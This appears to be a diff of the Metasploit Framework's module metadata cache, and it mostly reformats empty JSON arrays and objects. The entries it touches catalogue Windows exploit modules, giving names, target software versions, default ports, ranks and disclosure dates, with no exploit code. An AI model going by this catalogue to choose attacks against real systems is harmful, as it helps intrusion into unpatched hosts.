@@ -175050,9 +155997,7 @@ "exploit_windows/http/telerik_report_server_deserialization": { "name": "Telerik Report Server Auth Bypass and Deserialization RCE", "fullname": "exploit/windows/http/telerik_report_server_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-06-04", "type": "exploit", @@ -175117,9 +156062,7 @@ "exploit_windows/http/tomcat_cgi_cmdlineargs": { "name": "Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability", "fullname": "exploit/windows/http/tomcat_cgi_cmdlineargs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-10", "type": "exploit", @@ -175179,9 +156122,7 @@ "exploit_windows/http/trackercam_phparg_overflow": { "name": "TrackerCam PHP Argument Buffer Overflow", "fullname": "exploit/windows/http/trackercam_phparg_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-02-18", "type": "exploit", @@ -175226,17 +156167,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/trackit_file_upload": { "name": "Numara / BMC Track-It! FileStorageService Arbitrary File Upload", "fullname": "exploit/windows/http/trackit_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-07", "type": "exploit", @@ -175278,17 +156216,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/trendmicro_officescan": { "name": "Trend Micro OfficeScan Remote Stack Buffer Overflow", "fullname": "exploit/windows/http/trendmicro_officescan", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-06-28", "type": "exploit", @@ -175328,17 +156263,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/trendmicro_officescan_widget_exec": { "name": "Trend Micro OfficeScan Remote Code Execution", "fullname": "exploit/windows/http/trendmicro_officescan_widget_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-07", "type": "exploit", @@ -175382,17 +156314,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ultraminihttp_bof": { "name": "Ultra Mini HTTPD Stack Buffer Overflow", "fullname": "exploit/windows/http/ultraminihttp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-10", "type": "exploit", @@ -175439,17 +156368,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/umbraco_upload_aspx": { "name": "Umbraco CMS Remote Command Execution", "fullname": "exploit/windows/http/umbraco_upload_aspx", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-28", "type": "exploit", @@ -175492,17 +156418,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/vmware_vcenter_chargeback_upload": { "name": "VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload", "fullname": "exploit/windows/http/vmware_vcenter_chargeback_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-05-15", "type": "exploit", @@ -175545,17 +156468,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/vxsrchs_bof": { "name": "VX Search Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/vxsrchs_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-03-15", "type": "exploit", @@ -175563,9 +156483,7 @@ "Daniel Teixeira" ], "description": "This module exploits a stack-based buffer overflow vulnerability\n in the web interface of VX Search Enterprise v9.5.12, caused by\n improper bounds checking of the request path in HTTP GET requests\n sent to the built-in web server. This module has been tested\n successfully on Windows 7 SP1 x86.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": 80, @@ -175594,17 +156512,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/webster_http": { "name": "Webster HTTP Server GET Buffer Overflow", "fullname": "exploit/windows/http/webster_http", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2002-12-02", "type": "exploit", @@ -175648,17 +156563,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ws_ftp_rce_cve_2023_40044": { "name": "Progress Software WS_FTP Unauthenticated Remote Code Execution", "fullname": "exploit/windows/http/ws_ftp_rce_cve_2023_40044", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-09-27", "type": "exploit", @@ -175717,9 +156629,7 @@ "exploit_windows/http/xampp_webdav_upload_php": { "name": "XAMPP WebDAV PHP Upload", "fullname": "exploit/windows/http/xampp_webdav_upload_php", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-14", "type": "exploit", @@ -175727,9 +156637,7 @@ "theLightCosine " ], "description": "This module exploits weak WebDAV passwords on XAMPP servers.\n It uses supplied credentials to upload a PHP payload and\n execute it.", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": 80, @@ -175758,17 +156666,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/xitami_if_mod_since": { "name": "Xitami 2.5c2 Web Server If-Modified-Since Overflow", "fullname": "exploit/windows/http/xitami_if_mod_since", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-09-24", "type": "exploit", @@ -175786,12 +156691,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "xigui32.exe Universal", "xitami.exe Universal" @@ -175803,17 +156704,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/zentao_pro_rce": { "name": "ZenTao Pro 8.8.2 Remote Code Execution", "fullname": "exploit/windows/http/zentao_pro_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-20", "type": "exploit", @@ -175874,9 +156772,7 @@ "exploit_windows/http/zenworks_assetmgmt_uploadservlet": { "name": "Novell ZENworks Asset Management Remote Execution", "fullname": "exploit/windows/http/zenworks_assetmgmt_uploadservlet", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-02", "type": "exploit", @@ -175920,17 +156816,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/zenworks_uploadservlet": { "name": "Novell ZENworks Configuration Management Remote Execution", "fullname": "exploit/windows/http/zenworks_uploadservlet", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-30", "type": "exploit", @@ -175976,17 +156869,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/zoho_password_manager_pro_xml_rpc_rce": { "name": "Zoho Password Manager Pro XML-RPC Java Deserialization", "fullname": "exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-24", "type": "exploit", @@ -176050,9 +156940,7 @@ "exploit_windows/ibm/ibm_was_dmgr_java_deserialization_rce": { "name": "IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution", "fullname": "exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-05-15", "type": "exploit", @@ -176067,12 +156955,8 @@ "platform": "Windows", "arch": "", "rport": 11006, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Binary", "CMD" @@ -176084,17 +156968,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/iis/iis_webdav_scstoragepathfromurl": { "name": "Microsoft IIS WebDav ScStoragePathFromUrl Overflow", "fullname": "exploit/windows/iis/iis_webdav_scstoragepathfromurl", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2017-03-26", "type": "exploit", @@ -176152,9 +157033,7 @@ "Reliability": [ "repeatable-session" ], - "Side Effects": [ - - ] + "Side Effects": [] }, "session_types": false, "needs_cleanup": null @@ -176162,9 +157041,7 @@ "exploit_windows/iis/iis_webdav_upload_asp": { "name": "Microsoft IIS WebDAV Write Access Code Execution", "fullname": "exploit/windows/iis/iis_webdav_upload_asp", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2004-12-31", "type": "exploit", @@ -176204,17 +157081,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/iis/ms01_023_printer": { "name": "MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow", "fullname": "exploit/windows/iis/ms01_023_printer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-05-01", "type": "exploit", @@ -176290,9 +157164,7 @@ "exploit_windows/iis/ms01_026_dbldecode": { "name": "MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution", "fullname": "exploit/windows/iis/ms01_026_dbldecode", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2001-05-15", "type": "exploit", @@ -176354,9 +157226,7 @@ "exploit_windows/iis/ms01_033_idq": { "name": "MS01-033 Microsoft IIS 5.0 IDQ Path Overflow", "fullname": "exploit/windows/iis/ms01_033_idq", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-06-18", "type": "exploit", @@ -176373,12 +157243,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English SP0", "Windows 2000 Pro English SP1-SP2" @@ -176390,17 +157256,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/iis/ms02_018_htr": { "name": "MS02-018 Microsoft IIS 4.0 .HTR Path Overflow", "fullname": "exploit/windows/iis/ms02_018_htr", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-04-10", "type": "exploit", @@ -176418,12 +157281,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT 4.0 SP3", "Windows NT 4.0 SP4", @@ -176436,17 +157295,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/iis/ms02_065_msadc": { "name": "MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow", "fullname": "exploit/windows/iis/ms02_065_msadc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2002-11-02", "type": "exploit", @@ -176515,9 +157371,7 @@ "exploit_windows/iis/ms03_007_ntdll_webdav": { "name": "MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow", "fullname": "exploit/windows/iis/ms03_007_ntdll_webdav", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-05-30", "type": "exploit", @@ -176577,9 +157431,7 @@ "exploit_windows/iis/msadc": { "name": "MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution", "fullname": "exploit/windows/iis/msadc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1998-07-17", "type": "exploit", @@ -176622,17 +157474,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/imap/eudora_list": { "name": "Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow", "fullname": "exploit/windows/imap/eudora_list", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-12-20", "type": "exploit", @@ -176649,12 +157498,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "WorldMail 3 Version 6.1.19.0", @@ -176668,17 +157513,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/imail_delete": { "name": "IMail IMAP4D Delete Overflow", "fullname": "exploit/windows/imap/imail_delete", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-11-12", "type": "exploit", @@ -176694,12 +157536,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP sp0 comctl32.dll" ], @@ -176710,17 +157548,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/ipswitch_search": { "name": "Ipswitch IMail IMAP SEARCH Buffer Overflow", "fullname": "exploit/windows/imap/ipswitch_search", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-07-18", "type": "exploit", @@ -176736,12 +157571,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English", "Windows 2003 SP0 English" @@ -176753,17 +157584,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mailenable_login": { "name": "MailEnable IMAPD (2.34/2.35) Login Request Buffer Overflow", "fullname": "exploit/windows/imap/mailenable_login", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-12-11", "type": "exploit", @@ -176779,12 +157607,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MailEnable 2.35 Pro", "MailEnable 2.34 Pro" @@ -176796,17 +157620,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mailenable_status": { "name": "MailEnable IMAPD (1.54) STATUS Request Buffer Overflow", "fullname": "exploit/windows/imap/mailenable_status", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-07-13", "type": "exploit", @@ -176823,12 +157644,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MailEnable 1.54 Pro Universal", "Windows XP Pro SP0/SP1 English", @@ -176842,17 +157659,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mailenable_w3c_select": { "name": "MailEnable IMAPD W3C Logging Buffer Overflow", "fullname": "exploit/windows/imap/mailenable_w3c_select", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-10-03", "type": "exploit", @@ -176868,12 +157682,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MailEnable 1.54 Pro Universal" ], @@ -176884,17 +157694,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mdaemon_cram_md5": { "name": "Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow", "fullname": "exploit/windows/imap/mdaemon_cram_md5", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-11-12", "type": "exploit", @@ -176910,12 +157717,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MDaemon IMAP 8.0.3 Windows XP SP2" ], @@ -176926,17 +157729,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mdaemon_fetch": { "name": "MDaemon 9.6.4 IMAPD FETCH Buffer Overflow", "fullname": "exploit/windows/imap/mdaemon_fetch", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-03-13", "type": "exploit", @@ -176954,12 +157754,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MDaemon Version 9.6.4" ], @@ -176970,17 +157766,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mercur_imap_select_overflow": { "name": "Mercur v5.0 IMAP SP3 SELECT Buffer Overflow", "fullname": "exploit/windows/imap/mercur_imap_select_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-03-17", "type": "exploit", @@ -176996,12 +157789,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Server SP4 English", "Windows 2000 Pro SP1 English" @@ -177013,17 +157802,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mercur_login": { "name": "Mercur Messaging 2005 IMAP Login Buffer Overflow", "fullname": "exploit/windows/imap/mercur_login", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-03-17", "type": "exploit", @@ -177040,12 +157826,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English", "Windows XP Pro SP2 English" @@ -177057,17 +157839,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mercury_login": { "name": "Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow", "fullname": "exploit/windows/imap/mercury_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-03-06", "type": "exploit", @@ -177084,12 +157863,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -177100,17 +157875,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/mercury_rename": { "name": "Mercury/32 v4.01a IMAP RENAME Buffer Overflow", "fullname": "exploit/windows/imap/mercury_rename", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-11-29", "type": "exploit", @@ -177127,12 +157899,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 SP4 English", @@ -177146,17 +157914,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/novell_netmail_append": { "name": "Novell NetMail IMAP APPEND Buffer Overflow", "fullname": "exploit/windows/imap/novell_netmail_append", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-12-23", "type": "exploit", @@ -177173,12 +157938,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English" ], @@ -177189,17 +157950,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/novell_netmail_auth": { "name": "Novell NetMail IMAP AUTHENTICATE Buffer Overflow", "fullname": "exploit/windows/imap/novell_netmail_auth", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-01-07", "type": "exploit", @@ -177213,12 +157971,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English" ], @@ -177229,17 +157983,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/novell_netmail_status": { "name": "Novell NetMail IMAP STATUS Buffer Overflow", "fullname": "exploit/windows/imap/novell_netmail_status", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-11-18", "type": "exploit", @@ -177255,12 +158006,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English" ], @@ -177271,17 +158018,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/imap/novell_netmail_subscribe": { "name": "Novell NetMail IMAP SUBSCRIBE Buffer Overflow", "fullname": "exploit/windows/imap/novell_netmail_subscribe", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-12-23", "type": "exploit", @@ -177298,12 +158042,8 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP0-SP4 English" ], @@ -177314,17 +158054,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/isapi/ms00_094_pbserver": { "name": "MS00-094 Microsoft IIS Phone Book Service Overflow", "fullname": "exploit/windows/isapi/ms00_094_pbserver", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2000-12-04", "type": "exploit", @@ -177368,17 +158105,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/isapi/ms03_022_nsiislog_post": { "name": "MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow", "fullname": "exploit/windows/isapi/ms03_022_nsiislog_post", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-06-25", "type": "exploit", @@ -177424,17 +158158,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/isapi/ms03_051_fp30reg_chunked": { "name": "MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow", "fullname": "exploit/windows/isapi/ms03_051_fp30reg_chunked", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-11-11", "type": "exploit", @@ -177478,17 +158209,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/isapi/rsa_webagent_redirect": { "name": "Microsoft IIS ISAPI RSA WebAgent Redirect Overflow", "fullname": "exploit/windows/isapi/rsa_webagent_redirect", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-10-21", "type": "exploit", @@ -177537,17 +158265,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/isapi/w3who_query": { "name": "Microsoft IIS ISAPI w3who.dll Query String Overflow", "fullname": "exploit/windows/isapi/w3who_query", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-12-06", "type": "exploit", @@ -177591,17 +158316,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ldap/imail_thc": { "name": "IMail LDAP Service Buffer Overflow", "fullname": "exploit/windows/ldap/imail_thc", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-02-17", "type": "exploit", @@ -177618,12 +158340,8 @@ "platform": "Windows", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 English", "Windows 2000 IMail 8.x" @@ -177635,17 +158353,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ldap/pgp_keyserver7": { "name": "Network Associates PGP KeyServer 7 LDAP Buffer Overflow", "fullname": "exploit/windows/ldap/pgp_keyserver7", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-07-16", "type": "exploit", @@ -177662,12 +158377,8 @@ "platform": "Windows", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal PGPcertd.exe" ], @@ -177678,17 +158389,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/license/calicclnt_getconfig": { "name": "Computer Associates License Client GETCONFIG Overflow", "fullname": "exploit/windows/license/calicclnt_getconfig", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-03-02", "type": "exploit", @@ -177706,12 +158414,8 @@ "platform": "Windows", "arch": "", "rport": 10203, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 English", @@ -177726,17 +158430,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/license/calicserv_getconfig": { "name": "Computer Associates License Server GETCONFIG Overflow", "fullname": "exploit/windows/license/calicserv_getconfig", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-03-02", "type": "exploit", @@ -177754,12 +158455,8 @@ "platform": "Windows", "arch": "", "rport": 10202, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 English", @@ -177774,17 +158471,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/license/flexnet_lmgrd_bof": { "name": "FlexNet License Server Manager lmgrd Buffer Overflow", "fullname": "exploit/windows/license/flexnet_lmgrd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-23", "type": "exploit", @@ -177805,12 +158499,8 @@ "platform": "Windows", "arch": "", "rport": 27000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Debug", "Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3", @@ -177824,17 +158514,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/license/sentinel_lm7_udp": { "name": "SentinelLM UDP Buffer Overflow", "fullname": "exploit/windows/license/sentinel_lm7_udp", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-03-07", "type": "exploit", @@ -177850,12 +158537,8 @@ "platform": "Windows", "arch": "", "rport": 5093, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6", @@ -177871,17 +158554,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/local/adobe_sandbox_adobecollabsync": { "name": "AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass", "fullname": "exploit/windows/local/adobe_sandbox_adobecollabsync", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-05-14", "type": "exploit", @@ -177898,12 +158578,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Adobe Reader X 10.1.4 / Windows 7 SP1" ], @@ -177914,22 +158590,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/agnitum_outpost_acs": { "name": "Agnitum Outpost Internet Security Local Privilege Escalation", "fullname": "exploit/windows/local/agnitum_outpost_acs", - "aliases": [ - - ], + "aliases": [], "rank": 